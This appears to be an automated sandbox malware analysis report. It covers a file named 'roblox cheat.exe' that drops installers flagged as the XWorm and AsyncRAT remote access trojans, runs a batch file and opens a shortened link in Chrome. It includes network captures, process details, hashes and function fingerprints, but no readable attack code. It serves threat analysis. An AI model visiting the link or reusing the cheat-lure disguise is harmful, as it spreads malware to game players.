(;~8"h.r^/}\|qmOwIm>y>?_;_=bR4X42S!Pm>*`@O\,o@.RS53M@
2024-07-29 22:46:23 UTC	1369	IN	Data Raw: 3c a0 0b 78 0a 38 08 4c 21 a7 a6 0b 38 13 b8 06 61 56 23 bc 0a 7c 3e 15 52 13 b3 fd 39 2b 03 bc e9 bc 0f 09 50 1a 1e a1 1a 98 04 7e 09 dc 5e 8a 06 f7 3b 3f fa 23 71 90 e3 b9 14 d9 c9 0e 64 87 47 80 61 60 a4 98 49 b8 f2 f5 63 39 dd 06 5c 0a dc 43 63 27 2c 09 6c 9d 2d ca ac c5 80 eb cd c0 cd e0 6d e4 48 ef 2e 45 83 ce a2 bb 81 0b 80 73 11 73 b5 98 e9 3a a0 6c 3e c3 c0 d5 c5 4c e2 05 00 ad 75 1b b2 db 67 23 51 e4 08 30 00 3c a5 94 1a 33 9a 7e 3d 62 9a eb b9 c5 93 c0 da 54 48 ed 99 f9 c7 87 18 e0 4d e7 bb 11 f7 f6 18 d7 4b ae e0 61 e0 da 52 34 38 0e e0 8f c4 57 02 5b 81 af 36 98 a0 83 3f 00 e7 16 33 89 29 ad f5 72 e0 57 48 64 38 13 07 81 6f 28 a5 5e 02 88 e5 f4 8d c0 5d 0d c6 7e 15 38 65 66 34 39 8d 01 46 eb ff 0c b8 c4 c5 64 ab 51 46 16 7a 67 29 1a 2c fb 23 Data Ascii: <x8L!8aV#\|>R9+P~^;?#qdGa`Ic9\Cc',l-mH.Ess:l>Lug#Q0<3~=bTHMKaR48W[6?3)rWHd8o(^]~8ef49FdQFzg),#
2024-07-29 22:46:23 UTC	856	IN	Data Raw: 81 53 80 8b 90 5d 1f 02 9e ab 1e 78 26 03 f6 21 b6 dd 16 97 63 62 84 62 26 f1 1e 70 16 92 d9 6d 45 3b eb 7e e0 4b c0 b7 8b 99 c4 64 b2 a0 bb 80 67 99 bd 4d cf 83 e4 fc ff 0a dc 9e 2c e8 2e a3 1f d2 48 0a 6c 93 c9 1c 1d c5 6c e5 f1 15 88 97 e4 36 de 9f 00 ce 2e 45 83 bb 7a 07 46 3d 80 2f 1b ee 9c 00 30 85 d2 9b 90 82 ab 6d b9 fd 00 f0 43 e0 a1 62 26 71 04 20 59 d0 3d 88 b2 76 eb f2 1e 44 aa d4 a9 fe c0 ec 4d d6 b5 1a 24 6e c6 5d 6f 90 d3 df f3 70 e8 e3 8b 41 3a 36 6e 40 52 da bb b2 e1 4e a7 41 22 80 14 25 23 88 e5 58 86 ec 96 a7 6a 9c 29 c4 b1 1a 44 76 78 67 95 99 23 59 d0 01 20 4b 73 3d 8a 83 c0 19 fd 81 0f b7 c9 d4 ca 06 6d 47 ec 6a a3 2a ef 76 e0 e1 52 34 08 03 a3 5f 40 76 6c 11 92 d4 dc d1 3b 30 ba 0d d8 9b 0d 77 16 10 65 f9 a8 3f 12 f7 21 a7 61 99 b9 Data Ascii: S]x&!cbb&pmE;~KdgM,.Hll6.EzF=/0mCb&q Y=vDM$n]opA:6n@RNA"%#Xj)Dvxg#Y Ks=mGj*vR4_@vl;0we?!a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49729	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFDCTh8d52ccRcZ&MD=g9KFUel5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-29 22:46:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ba1871d7-a3ce-4592-aca2-0d5d1406282f MS-RequestId: 88c40095-b7f0-4b2a-9919-2d4ffea5e80d MS-CV: A1mpsd3HlkCWGiIR.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 29 Jul 2024 22:46:23 GMT Connection: close Content-Length: 24490
2024-07-29 22:46:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-07-29 22:46:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49737	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:25 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-29 22:46:26 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073B) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=202600 Date: Mon, 29 Jul 2024 22:46:25 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49742	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:46:27 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-07-29 22:46:27 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=202641 Date: Mon, 29 Jul 2024 22:46:27 GMT Content-Length: 55 Connection: close X-CID: 2
2024-07-29 22:46:27 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49743	13.85.23.86	443

Timestamp	Bytes transferred	Direction	Data
2024-07-29 22:47:03 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=uFDCTh8d52ccRcZ&MD=g9KFUel5 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-29 22:47:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: eaacc733-736d-4732-8f5a-73d30ee6b591 MS-RequestId: d391bb12-61ce-4f44-9266-fbd030a04a7c MS-CV: WR/4wcfe6EC0yfvk.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 29 Jul 2024 22:47:03 GMT Connection: close Content-Length: 30005
2024-07-29 22:47:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-29 22:47:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	18:46:05
Start date:	29/07/2024
Path:	C:\Users\user\Desktop\roblox cheat.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\roblox cheat.exe"
Imagebase:	0x7a0000
File size:	6'410'752 bytes
MD5 hash:	6B94734FEAC8EDB9F925385163AD59C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:46:05
Start date:	29/07/2024
Path:	C:\Users\user\AppData\Local\Temp\robloxPX1instaler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\robloxPX1instaler.exe"
Imagebase:	0x810000
File size:	5'720'984 bytes
MD5 hash:	27469372591B14FF1C57654FACB5E020
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:46:06
Start date:	29/07/2024
Path:	C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\cheatinstaler cheatinstalerF6R54T.exe"
Imagebase:	0x7ff6c16b0000
File size:	630'062 bytes
MD5 hash:	FC411F4D9F4DBA5104CB1549153A8684
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000003.1260021270.00000225ABF82000.00000004.00000020.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:46:07
Start date:	29/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\coin.bat" "
Imagebase:	0x7ff741f30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:46:07
Start date:	29/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:46:16
Start date:	29/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd
Imagebase:	0x7ff741f30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	18:46:16
Start date:	29/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	18:46:17
Start date:	29/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/24RXx6
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	18:46:17
Start date:	29/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2224 --field-trial-handle=2184,i,14828535627695779647,3084874413555431357,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 014E164C Relevance: 11.6, Strings: 8, Instructions: 1623COMMON

Download Yara Rule

Strings

Xq, xrefs: 014E16F0
Xq, xrefs: 014E2920
Xq, xrefs: 014E381D
Xq, xrefs: 014E176F
Xq, xrefs: 014E16B6
Xq, xrefs: 014E37E5
Xq, xrefs: 014E28EA
Xq, xrefs: 014E17BC

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq$Xq$Xq$Xq$Xq
API String ID: 0-1539424098
Opcode ID: 61a7b7cde56ce23fd9e7fb5784230ceee3bcaed14e2627a6c1419a594de91033
Instruction ID: 7e4a6ad3112b73255d966e1bb9ee59ddd91a67adf06878840afd64ef1535f07e
Opcode Fuzzy Hash: 61a7b7cde56ce23fd9e7fb5784230ceee3bcaed14e2627a6c1419a594de91033
Instruction Fuzzy Hash: C8C2B431818B758BDB65DF348CA0397BFF2FF12729714899EC4DA97265D232A841CB81

Function 014E7AFF Relevance: 5.3, Strings: 4, Instructions: 343COMMON

Download Yara Rule

Strings

Hq, xrefs: 014E7DCC
Hq, xrefs: 014E7F13
Hq, xrefs: 014E7E8A
Hq, xrefs: 014E7E2B

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: Hq$Hq$Hq$Hq
API String ID: 0-1646495738
Opcode ID: 7dfae84c9671fb4f20167ad104cb6066d6c6ebd8892d4e1493d74a725745959f
Instruction ID: e48abb80b8ec1e2e0b7e73ae1b0b40df337c3737a1ef1c48c3db6a82939c41f5
Opcode Fuzzy Hash: 7dfae84c9671fb4f20167ad104cb6066d6c6ebd8892d4e1493d74a725745959f
Instruction Fuzzy Hash: DAD16F30B006158FDB25DF78D858AAE7BF2BFC8712F148529D506973A4DB35AC06CB91

Function 014E92D8 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

4'q, xrefs: 014E94E3
Hq, xrefs: 014E9495
$q, xrefs: 014E93E8
$q, xrefs: 014E93F4

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: 4'q$Hq$$q$$q
API String ID: 0-4207532827
Opcode ID: aeb252b758d5fbb1186e662c7b01f659c3b22d49ef4d96515ba60c09fe8bd65d
Instruction ID: 5c43cfc66cc53d83573be0470032ef4b0c4130b4bdb2154448c8373e8250eef8
Opcode Fuzzy Hash: aeb252b758d5fbb1186e662c7b01f659c3b22d49ef4d96515ba60c09fe8bd65d
Instruction Fuzzy Hash: 0451A0307082158FDB296B79A86C23E3AEAAFD5646719446FD507CB3E6DF34CC028791

Function 014E97A8 Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

Xq, xrefs: 014E97D2

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: Xq
API String ID: 0-599127549
Opcode ID: 28d106752613e3b609a152836325f04e26415b9bba2ce39840d3ad89a4702da4
Instruction ID: d5d7c08c7e251d2d0cfb3f37b29310d3e678d77e0aa6b971f1e699a35fe638f5
Opcode Fuzzy Hash: 28d106752613e3b609a152836325f04e26415b9bba2ce39840d3ad89a4702da4
Instruction Fuzzy Hash: E551F431B043249FC7259F6CD8A86AEBBE6FFC6214B19446FE446C73A5DA358C02C791

Function 014ED600 Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

8q, xrefs: 014ED683

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-4083045702
Opcode ID: be1584fb1afc317f265e1a1842a821238de3631c3bb14e0a7f9d2b40ded99c78
Instruction ID: e1bd8518c6a5cf267bd3325de0dfa722737ef0585711072ae50bd90976da595f
Opcode Fuzzy Hash: be1584fb1afc317f265e1a1842a821238de3631c3bb14e0a7f9d2b40ded99c78
Instruction Fuzzy Hash: 10212574E00209CFDB14DFA9E584AAEBBF1FF89300F1085AAC815A7261DB349E45CF90

Function 014ED610 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

8q, xrefs: 014ED683

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID: 8q
API String ID: 0-4083045702
Opcode ID: f6ab031a89c50d1ec11d5365465d6e43db5cec27f54cb74dba12a30d6dc78d12
Instruction ID: 4c8fc3017b3f586ebecc06b64c282ec9da905af3945e43f8a9a2c2e4ce2e1e45
Opcode Fuzzy Hash: f6ab031a89c50d1ec11d5365465d6e43db5cec27f54cb74dba12a30d6dc78d12
Instruction Fuzzy Hash: AD210274E00209CFDB04DFA9E544AAEBBF1FF88300F10806AD514A7261DB349E45CF90

Function 014E09B0 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453d4385b711480324055f246833707f81e31c310859095838b0f14ddb4e98b6
Instruction ID: 9ef81824b29e75a00c062f167bca0e58b5923cf9558162d1b8eb612a3e6c89d3
Opcode Fuzzy Hash: 453d4385b711480324055f246833707f81e31c310859095838b0f14ddb4e98b6
Instruction Fuzzy Hash: FA3259B4E012298FDB64DF69D998B9DBBB1BB49300F1081EAD80DA7354DB705E85CF11

Function 014E95A8 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd9b4e5921784014f84f65e444831e1583b8486b482b2f6a8a9a971a5a47aac
Instruction ID: 70993ade74d283a70293a4a7621326b2a8b7434146ffc5c34abb123672fef4cf
Opcode Fuzzy Hash: 8fd9b4e5921784014f84f65e444831e1583b8486b482b2f6a8a9a971a5a47aac
Instruction Fuzzy Hash: 2B51B334354661CFC76ADB28A86857D37A2BBD961674840AAE447C73E8DF348C07CBC5

Function 014E9D48 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03aac39c31273cf7ffafab5e2a61bbd27c953814fcf211cfdb341004280a5bba
Instruction ID: 1f7d855496c56a6a85bb55ba6cd1e049d8ddce3148a103753fd75ec5a6fdd4b2
Opcode Fuzzy Hash: 03aac39c31273cf7ffafab5e2a61bbd27c953814fcf211cfdb341004280a5bba
Instruction Fuzzy Hash: 440128307052145FD715173A98186ABBAEBAFCE211B598077E50AC33E9DE358C0383A1

Function 014ED578 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b650495777a860b157af8b10c4d03df23631c64539a26b12c4b720b5ffa22bff
Instruction ID: f51aad112b1962f95e97ae37b1ea896a2227f0dfbc1d5bb49d13e2a1c13283b9
Opcode Fuzzy Hash: b650495777a860b157af8b10c4d03df23631c64539a26b12c4b720b5ffa22bff
Instruction Fuzzy Hash: 1A1157B4E04209DFCB14CFA9D5885AEBFF1FF49314B24859AC854AB361E7315A02CF51

Function 014E91F0 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c4729b25761d0549d385c06c6db8ed10d38c19c83fefd3cd2a2f276a7a26a34
Instruction ID: 282eff9e21315117bd8401fbf239095c623879a0832f3bbfbbc828591de5d4b1
Opcode Fuzzy Hash: 1c4729b25761d0549d385c06c6db8ed10d38c19c83fefd3cd2a2f276a7a26a34
Instruction Fuzzy Hash: AFE0ED70D512099FCB94DFA8C9466EFBBF4EB48210F1442AAE808E7354E7754B118FC1

Function 014E9200 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b3e388ce7620c38eb970efe4c9ce9db35c5241f7ebaea75482a43ab2077c76
Instruction ID: 14a8f75b9203676dc4863e61b076527d6db62447a25f8a4fa6b5eabe8c6431cf
Opcode Fuzzy Hash: a6b3e388ce7620c38eb970efe4c9ce9db35c5241f7ebaea75482a43ab2077c76
Instruction Fuzzy Hash: 92E0EC70E042099FCB94EFA9C54666EBBF4AB48201F1085AAD808D6254E7705A518BC1

Non-executed Functions

Function 014E31CA Relevance: .3, Instructions: 311COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1253932426.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_14e0000_roblox cheat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b80a79ae8a6d72279619ede6dcd1160f617e8232dbd7c910f70ddbff479a4c6
Instruction ID: c08dd915607d9af568977a90e22ebbcf8f0b1b872a176adf1749114325b16ad1
